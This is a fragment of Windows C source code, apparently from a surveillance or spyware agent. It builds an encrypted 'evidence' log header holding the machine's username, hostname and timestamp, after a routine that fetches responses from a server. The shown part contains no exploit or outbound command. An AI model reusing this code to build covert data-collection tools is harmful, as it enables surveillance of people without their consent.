		OutputDebug(L"[!!] GetResponse cannot get response from server\n");
//		__asm int 3;
	}
#endif

	return lpDecodedMsg;
}

PBYTE CreateLogHeader(__in ULONG uEvidenceType, __in PBYTE pAdditionalData, __in ULONG uAdditionalDataLen, __out PULONG uOutLen)
{
	WCHAR wUserName[256];
	WCHAR wHostName[256];
	FILETIME uFileTime;
	LOG_HEADER pLogHeader;
	PLOG_HEADER pFinalLogHeader;

	if (uOutLen)
		*uOutLen = 0;

	memset(wUserName, 0x0, sizeof(wUserName));
	memset(wHostName, 0x0, sizeof(wHostName));
	wUserName[0]=L'-';
	wHostName[0]=L'-'; 
	GetEnvironmentVariable(L"USERNAME", (LPWSTR)wUserName, (sizeof(wUserName)/sizeof(WCHAR))-2);  //FIXME: array
	GetEnvironmentVariable(L"COMPUTERNAME", (LPWSTR)wHostName, (sizeof(wHostName)/sizeof(WCHAR))-2);  //FIXME: array
	GetSystemTimeAsFileTime(&uFileTime);

	pLogHeader.uDeviceIdLen = wcslen(wHostName) * sizeof(WCHAR);
	pLogHeader.uUserIdLen = wcslen(wUserName) * sizeof(WCHAR);
	pLogHeader.uSourceIdLen = 0;
	if (pAdditionalData)
		pLogHeader.uAdditionalData = uAdditionalDataLen;
	else
		pLogHeader.uAdditionalData = 0;
	pLogHeader.uVersion = LOG_VERSION;
	pLogHeader.uHTimestamp = uFileTime.dwHighDateTime;
	pLogHeader.uLTimestamp = uFileTime.dwLowDateTime;
	pLogHeader.uLogType = uEvidenceType;

	// calcola lunghezza paddata
	ULONG uHeaderLen = sizeof(LOG_HEADER) + pLogHeader.uDeviceIdLen + pLogHeader.uUserIdLen + pLogHeader.uSourceIdLen + pLogHeader.uAdditionalData;
	ULONG uPaddedHeaderLen = uHeaderLen;
	if (uPaddedHeaderLen % BLOCK_LEN)
		while(uPaddedHeaderLen % BLOCK_LEN)
			uPaddedHeaderLen++;

	pFinalLogHeader = (PLOG_HEADER) zalloc(uPaddedHeaderLen + sizeof(ULONG));
	PBYTE pTempPtr = (PBYTE)pFinalLogHeader;

	// log size
	*(PULONG)pTempPtr = uPaddedHeaderLen;
	pTempPtr += sizeof(ULONG);

	// header
	memcpy(pTempPtr, &pLogHeader, sizeof(LOG_HEADER));
	pTempPtr += sizeof(LOG_HEADER);

	// hostname
	memcpy(pTempPtr, wHostName, pLogHeader.uDeviceIdLen);
	pTempPtr += pLogHeader.uDeviceIdLen;

	// username
	memcpy(pTempPtr, wUserName, pLogHeader.uUserIdLen);
	pTempPtr += pLogHeader.uUserIdLen;

	// additional data
	if (pAdditionalData)
		memcpy(pTempPtr, pAdditionalData, uAdditionalDataLen);

	// cifra l'header a parte la prima dword che e' in chiaro
	pTempPtr = (PBYTE)pFinalLogHeader;
	pTempPtr += sizeof(ULONG);

	Encrypt(pTempPtr, uHeaderLen, pLogKey, PAD_NOPAD);

	if (uOutLen)
		*uOutLen = uPaddedHeaderLen + sizeof(ULONG);

	return (PBYTE)pFinalLogHeader;
}